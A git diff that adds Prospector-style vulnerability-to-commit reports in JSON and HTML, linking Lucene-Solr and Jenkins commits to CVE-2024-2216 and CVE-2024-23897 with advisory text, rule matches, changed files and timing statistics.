solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: address, upgrade", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version, parameter", + "relevance": 4 + } + ] + }, + { + "commit_id": "9cd588e028a2fed65b18e8318394222801ce6d9b", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1697810697, + "hunks": 1, + "message": "Use refid in jetty.xml for RewriteHandler", + "changed_files": [ + "solr/server/etc/jetty.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/server/etc/jetty.xml", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: handler", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: server", + "relevance": 4 + } + ] + }, + { + "commit_id": "69b9aed4cd1e7544d5c25b476e1cff1d19b2b2c2", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1665986021, + "hunks": 2, + "message": "SOLR-16452 : do not update PRS state if the local version is newer", + "changed_files": [ + "solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16452": "Here we have equal check for zk node version https://github.com/apache/solr/blob/19f109842fb34069346a9efb21cf01b6706830a8/solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java#L149 it should be greator than from local version Keep prs state of latest version CCing noblepaul ishan Commit 157c2caaed7e62141af56518ac7b4a524df24b6e in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=157c2caaed7 ] SOLR-16452 : do not update PRS state if the local version is newer Commit 32b6943c143371f5c34d817e9bda33e8a09b5a96 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=32b6943c143 ] SOLR-16452 : do not update PRS state if the local version is newer Commit 2a1d7f3492fc8f9a4a6c51c841a5d46c91660758 in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=2a1d7f3492f ] SOLR-16452 : do not update PRS state if the local version is newer Looks like we need to set cversion to 0 here as well https://github.com/apache/solr/blob/8789520fb13a9b1736d030aefd48dde1fe22bc82/solr/solrj-zookeeper/src/java/org/apache/solr/common/cloud/PerReplicaStatesFetcher.java#L36 Commit 3bdeff0317d0033febf1e321ff86d9b5af65a8ed in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=3bdeff0317d ] SOLR-16452 : initialize missing PRS with version 0 Commit 872af1d9fca5a8aa21dc366fffad2c9eba1806aa in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=872af1d9fca ] SOLR-16452 : initialize missing PRS with version 0 Commit dd8d8c95a5aded2f6dd4e545cd16e99e28c2e33c in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=dd8d8c95a5a ] SOLR-16452 : initialize missing PRS with version 0 Commit 4c2022975c6c577678eb9cb23431f3bb21d57999 in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=4c2022975c6 ] SOLR-16452 : CHANGES.txt Commit 43d0c87dceb08b2de4475c1ac4b9c45c321ce0a9 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=43d0c87dceb ] SOLR-16452 : CHANGES.txt Commit 8cf60fb6f8553dfa6d1b474303c8dfac025ffdc6 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=8cf60fb6f85 ] SOLR-16452 : CHANGES.txt Bulk closing 9.1 issues. Commit 69b9aed4cd1e7544d5c25b476e1cff1d19b2b2c2 in lucene-solr's branch refs/heads/branch_8_11 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=69b9aed4cd1 ] SOLR-16452 : do not update PRS state if the local version is newer" + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16452", + "relevance": 2 + } + ] + }, + { + "commit_id": "4bf6befc32b49fdb2415f25b8159110bbdd4c63f", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698216616, + "hunks": 3, + "message": "Downgrading hsqldb to 2.5.2, since 2.7.x isn't supported by JDK8", + "changed_files": [ + "lucene/ivy-versions.properties", + "solr/licenses/hsqldb-2.5.2.jar.sha1", + "solr/licenses/hsqldb-2.7.1.jar.sha1" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/licenses/hsqldb-2.5.2.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + } + ] + }, + { + "commit_id": "6beb070b12c0f4bd286b5f5c8d12475e37a708fa", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698091466, + "hunks": 3, + "message": "Upgrading woodstox-core to 6.5.0", + "changed_files": [ + "lucene/ivy-versions.properties", + "solr/licenses/woodstox-core-6.4.0.jar.sha1", + "solr/licenses/woodstox-core-6.5.0.jar.sha1" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version", + "relevance": 4 + } + ] + }, + { + "commit_id": "5d91111da7de26583346772e65d13ac3a5551da6", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698690062, + "hunks": 2, + "message": "Adding DOAP for previous release (8.11.2)", + "changed_files": [ + "dev-tools/doap/lucene.rdf", + "dev-tools/doap/solr.rdf" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: dev-tools/doap/solr.rdf", + "relevance": 8 + } + ] + }, + { + "commit_id": "c61a410206a004b212b3a2ba681e32dd84e4f94f", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1664257053, + "hunks": 1, + "message": "Changing releaseWizard's England reference to UK", + "changed_files": [ + "dev-tools/scripts/releaseWizard.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [] + } + ], + "processing_statistics": { + "core": { + "retrieval of commit candidates": { + "execution time": [ + 0.024535542353987694 + ] + }, + "git": { + "git": { + "Git": { + "create_commits": { + "execution time": [ + 0.024337105453014374 + ] + } + } + } + }, + "candidates": 41, + "commit preprocessing": { + "execution time": [ + 0.05642258562147617 + ] + }, + "candidates analysis": { + "execution time": [ + 0.39474255219101906 + ] + }, + "save commits to backend": { + "execution time": [ + 0.035546787083148956 + ] + }, + "execution time": [ + 2.898259360343218 + ] + }, + "rules": { + "active": [ + 17 + ], + "matches": [ + 167 + ] + }, + "LLM": { + "repository_url": { + "execution time": [ + 1.6644545588642359 + ] + }, + "commit_classification": { + "execution time": [ + 0.01796558126807213, + 0.01641824096441269, + 0.016320083290338516, + 0.01595654897391796, + 0.016012050211429596, + 0.015059169381856918, + 0.015486914664506912, + 0.016056111082434654, + 0.015338368713855743, + 0.015717919915914536 + ] + } + } + } +} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html b/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html new file mode 100644 index 000000000..870c27ec7 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.html @@ -0,0 +1,353 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
    +
    +
    + + + +
    +

    Advisory Record

    + CVE-2024-2216
    +

    A missing permission check in an HTTP endpoint in Jenkins docker-build-step Plugin 2.11 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified TCP or Unix socket URL, and to reconfigure the plugin using the provided connection test parameters, affecting future build step executions.

    + + +
    Possible relevant files/methods
    +

    +

      + +
    • attacker-specified
    • + +
    • docker-build-step
    • + +
    • HTTP
    • + +
    • TCP
    • + +
    • URL
    • + +
    +

    + + +
    Other relevant keywords
    +

    + +

  • affect
  • + + +
  • allow
  • + + +
  • attacker
  • + + +
  • build
  • + + +
  • check
  • + + +
  • connect
  • + + +
  • connection
  • + + +
  • docker
  • + + +
  • endpoint
  • + + +
  • execution
  • + + +
  • http
  • + + +
  • jenkins
  • + + +
  • overall
  • + + +
  • parameter
  • + + +
  • permission
  • + + +
  • plugin
  • + + +
  • provide
  • + + +
  • read
  • + + +
  • reconfigure
  • + + +
  • socket
  • + + +
  • specify
  • + + +
  • step
  • + + +
  • test
  • + + +
  • unix
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • retrieval of commit candidates
        • execution time = 0.003344 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time is a list of numbers
                • average = 0.0015705777332186699 seconds
                • deviation = 0.0022062070783501154 seconds
                • median = 0.0015705777332186699 seconds
                • count = 2
                • sum = 0.0031411554664373398 seconds
      • candidates = 0 commits
      • commit preprocessing
        • execution time = 0.0001345 seconds
      • candidates analysis
        • execution time = 0.02728 seconds
      • execution time = 1.994 seconds
    • rules
      • active = 17 rules
      • matches = 0 matches
    • LLM
      • repository_url
        • execution time = 1.602 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json b/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json new file mode 100644 index 000000000..4a5e671f2 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-2216_dadd7e2d-e33b-4fb8-85af-5850284379d9.json @@ -0,0 +1,144 @@ +{ + "parameters": { + "vulnerability_id": "CVE-2024-2216", + "repository_url": "https://github.com/jenkinsci/jenkins", + "version_interval": "None:None", + "use_backend": "always", + "backend_address": "http://backend:8000", + "git_cache": "/data/gitcache", + "limit_candidates": 2000, + "use_llm_repository_url": true, + "enabled_rules": [ + "VULN_ID_IN_MESSAGE", + "XREF_BUG", + "XREF_GH", + "COMMIT_IN_REFERENCE", + "VULN_ID_IN_LINKED_ISSUE", + "CHANGES_RELEVANT_FILES", + "CHANGES_RELEVANT_CODE", + "RELEVANT_WORDS_IN_MESSAGE", + "ADV_KEYWORDS_IN_FILES", + "ADV_KEYWORDS_IN_MSG", + "SEC_KEYWORDS_IN_MESSAGE", + "SEC_KEYWORDS_IN_LINKED_GH", + "SEC_KEYWORDS_IN_LINKED_BUG", + "GITHUB_ISSUE_IN_MESSAGE", + "BUG_IN_MESSAGE", + "COMMIT_HAS_TWINS", + "COMMIT_IS_SECURITY_RELEVANT" + ] + }, + "advisory_record": { + "cve_id": "CVE-2024-2216", + "description": "A missing permission check in an HTTP endpoint in Jenkins docker-build-step Plugin 2.11 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified TCP or Unix socket URL, and to reconfigure the plugin using the provided connection test parameters, affecting future build step executions.", + "reserved_timestamp": 1709721648, + "published_timestamp": 1709744512, + "updated_timestamp": 1724696817, + "repository_url": null, + "references": { + "https://www.jenkins.io/security/advisory/2024-03-06/#SECURITY-3200": 2, + "http://www.openwall.com/lists/oss-security/2024/03/06/3": 2 + }, + "affected_products": [ + "HTTP", + "TCP", + "Jenkins", + "Overall", + "Plugin", + "Unix", + "Jenkins docker-build-step Plugin" + ], + "versions": { + "version": "0", + "versionType": "maven", + "lessThanOrEqual": "2.11", + "status": "affected" + }, + "files": [ + "URL", + "HTTP", + "TCP", + "attacker-specified", + "docker-build-step" + ], + "keywords": [ + "read", + "endpoint", + "provide", + "connect", + "step", + "socket", + "docker", + "specify", + "parameter", + "execution", + "plugin", + "permission", + "test", + "attacker", + "http", + "reconfigure", + "unix", + "check", + "allow", + "jenkins", + "affect", + "overall", + "build", + "connection" + ], + "files_extension": [], + "has_fixing_commit": false + }, + "commits": [], + "processing_statistics": { + "core": { + "retrieval of commit candidates": { + "execution time": [ + 0.003343852236866951 + ] + }, + "git": { + "git": { + "Git": { + "create_commits": { + "execution time": [ + 0.003130601719021797, + 1.0553747415542603e-05 + ] + } + } + } + }, + "candidates": 0, + "commit preprocessing": { + "execution time": [ + 0.0001345425844192505 + ] + }, + "candidates analysis": { + "execution time": [ + 0.027280570939183235 + ] + }, + "execution time": [ + 1.993737980723381 + ] + }, + "rules": { + "active": [ + 17 + ], + "matches": [ + 0 + ] + }, + "LLM": { + "repository_url": { + "execution time": [ + 1.6019580904394388 + ] + } + } + } +} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html b/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html new file mode 100644 index 000000000..404883357 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.html @@ -0,0 +1,32435 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
    +
    +
    + + +

    Filters

    +

    + Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. +

    + +
    +
    + +
    +
    + +
    +
    + + + + +
    +

    Advisory Record

    + CVE-2024-23897
    +

    Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

    + + +
    Possible relevant files/methods
    +

    +

      + +
    • CLI
    • + +
    • LTS
    • + +
    +

    + + +
    Other relevant keywords
    +

    + +

  • allow
  • + + +
  • argument
  • + + +
  • attacker
  • + + +
  • character
  • + + +
  • command
  • + + +
  • content
  • + + +
  • controller
  • + + +
  • disable
  • + + +
  • feature
  • + + +
  • file
  • + + +
  • follow
  • + + +
  • jenkins
  • + + +
  • parser
  • + + +
  • path
  • + + +
  • read
  • + + +
  • replace
  • + + +
  • system
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • retrieval of commit candidates
        • execution time = 0.07204 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.07178 seconds
      • candidates = 374 commits
      • commit preprocessing
        • execution time = 0.1953 seconds
      • candidates analysis
        • execution time = 0.3381 seconds
      • save commits to backend
        • execution time = 0.0271 seconds
      • execution time = 4.142 seconds
    • rules
      • active = 17 rules
      • matches = 507 matches
    • LLM
      • repository_url
        • execution time = 2.521 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.015671539306640624 seconds
          • deviation = 0.0009950940473344582 seconds
          • median = 0.015595347620546818 seconds
          • count = 10
          • sum = 0.15671539306640625 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72532] CLI `-noCertificateCheck` does not work with... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 50 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + CHANGES_RELEVANT_CODE + + GITHUB_ISSUE_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 48f0f923d54bc43358e458874a6cf4e42cc875df +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: CLI
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      The commit message references some github issue: 8852
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72532] CLI `-noCertificateCheck` does not work with `-webSocket` (#8852)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + cli/src/main/java/hudson/cli/CLI.java + + cli/src/main/java/hudson/cli/CLIConnectionFactory.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [SECURITY-3314] + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 46 +
    + +
    +
    +
    + + Tag: jenkins-2.426.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + a74865391d697f171cdfa977a956e8b96e0b0336 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: command
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [SECURITY-3314]
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/cli/CLICommand.java + + core/src/main/java/hudson/cli/declarative/CLIRegisterer.java + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [SECURITY-3314] (cherry picked from commit... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 44 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_FILES + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e876d4c0c14b1a421799a9c69ced6124ad21af4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: command
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [SECURITY-3314] (cherry picked from commit 554f03782057c499c49bbb06575f0d28b5200edb)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/cli/CLICommand.java + + core/src/main/java/hudson/cli/declarative/CLIRegisterer.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72469] Avoid repeated tool downloads from misconfigured... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 44 +
    + +
    +
    +
    + + Tag: jenkins-2.426.3 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 987b147ba2ec0ddb635bb9c862695426b540d06e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read, content, controller, path, file, system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, path
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8814
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers (#8814) * [JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers The Azul Systems content delivery network stopped providing the last-modified header in their URL responses. They only provide the ETag header. Add ETag support to the Jenkins FilePath URL download method so that if ETag is provided, we use the ETag value. If last-modified is provided and matches, we continue to honor it as well. https://issues.jenkins.io/browse/JENKINS-72469 has more details. https://community.jenkins.io/t/job-stuck-on-unpacking-global-jdk-tool/11272 also includes more details. Testing done * Automated test added to FilePathTest for code changes on the controller. The automated test confirms that even without a last-modified value, the later downloads are skipped if a matching ETag is received. The automated test also confirms that download is skipped if OK is received with a matching ETag. No automated test was added to confirm download on the agent because that path is not tested by any of the other test automation of this class. * Interactive test with the Azul Systems JDK installer on the controller. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test with the Azul Systems JDK installer on an agent. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test on the controller with a file download from an NGINX web server confirmed that the tool is downloaded once and then later runs of the job did not download the file again. * Use equals instead of contains to check ETag Don't risk that a substring of an earlier ETag might cause a later ETag to incorrectly assume it does not need to download a modified installer. * Use weak comparison for ETag values https://httpwg.org/specs/rfc9110.html#field.etag describes weak comparison cases and notes that content providers may provide weak or strong entity tags. Updated code to correctly compare weak and strong entity tags. Also improves the null checks based on the suggestions from @mawinter69 in https://github.com/jenkinsci/jenkins/pull/8814#discussion_r1438909824 * Test comparison of weak and strong validators * Do not duplicate test args, more readable * Use better variable names in test Cover more branches in the equalEtags method as well * Fix variable declaration order (cherry picked from commit c8156d41f2e6abf52b41669287e9ab771080b8e4)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/FilePath.java + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72833] Do not attempt to self-`exec` on systems without... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 42 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 434bf2b0f8a7181af45e66bbab3b3033ea17376b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: argument
      +
    • + +
    • +
      The commit message references some github issue: 9025
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72833] Do not attempt to self-`exec` on systems without `libc` (#9025)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/lifecycle/Lifecycle.java + + core/src/main/java/hudson/lifecycle/UnixLifecycle.java + + core/src/main/java/jenkins/util/JavaVMArguments.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Reduce usage of `StringUtils` (#8999) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 14 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3c042d12b836e21c8e566294f168faa29d9d8d95 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: CLI
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, path, system
      +
    • + +
    • +
      The commit message references some github issue: 8999
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Reduce usage of `StringUtils` (#8999)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + cli/src/main/java/hudson/cli/CLI.java + + core/src/main/java/hudson/FilePath.java + + core/src/main/java/hudson/Functions.java + + core/src/main/java/hudson/PluginManager.java + + core/src/main/java/hudson/model/Computer.java + + core/src/main/java/hudson/model/DirectoryBrowserSupport.java + + core/src/main/java/hudson/model/TopLevelItemDescriptor.java + + core/src/main/java/hudson/model/User.java + + core/src/main/java/hudson/model/View.java + + core/src/main/java/hudson/model/ViewDescriptor.java + + core/src/main/java/hudson/security/SecurityRealm.java + + core/src/main/java/hudson/tasks/BuildTrigger.java + + core/src/main/java/hudson/tasks/Maven.java + + core/src/main/java/hudson/triggers/SCMTrigger.java + + core/src/main/java/hudson/util/io/ZipArchiver.java + + core/src/main/java/jenkins/install/InstallState.java + + core/src/main/java/jenkins/install/InstallUtil.java + + core/src/main/java/jenkins/model/AssetManager.java + + core/src/main/java/jenkins/model/ProjectNamingStrategy.java + + core/src/main/java/jenkins/security/ApiTokenProperty.java + + core/src/main/java/jenkins/security/apitoken/ApiTokenStore.java + + core/src/main/java/jenkins/tasks/filters/impl/RetainVariablesLocalRule.java + + core/src/main/java/jenkins/triggers/ReverseBuildTrigger.java + + core/src/main/java/jenkins/util/SystemProperties.java + + core/src/main/java/jenkins/util/TreeString.java + + core/src/main/java/jenkins/util/VirtualFile.java + + core/src/main/java/org/jenkins/ui/symbol/Symbol.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #9014 from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.440.2 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c43a8636bb381797a2e2fe0adebc832d523c4b66 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: LTS
      +
    • + +
    • +
      The commit message references some github issue: 9014
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #9014 from krisstern/feat/stable-2.440/backporting-2.440.2-1 Backporting for LTS 2.440.2
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72540] FilePath.copyRecursiveTo() copying now also if local... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f68c181de2b710ce6b9f05b09d9475a89ab6fe8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read, character, allow, path, file
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, path
      +
    • + +
    • +
      The commit message references some github issue: 8860
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72540] FilePath.copyRecursiveTo() copying now also if local and remote have incompatible character sets at binary level (#8860) * allow specification of achrive's file name encoding in Archiver#create() For JENKINS-72540 only needed for tar, but changed zip for consistency as well. * revise copyRecursiveTo to use same file name encoding locally and remote such that local and remote understand each other Otherwise, if remote is z/OS with native EBCDIC encoding the file names will be in EBCDIC and fails reading
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/FilePath.java + + core/src/main/java/hudson/util/io/ArchiverFactory.java + + core/src/main/java/hudson/util/io/TarArchiver.java + + core/src/main/java/hudson/util/io/ZipArchiver.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + use tabPane to show agent systeminfo extensions (#9006) * use... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3fdda4868a77e21b1a8d7cb625b33a1b19bc917e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: system
      +
    • + +
    • +
      The commit message references some github issue: 9006
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
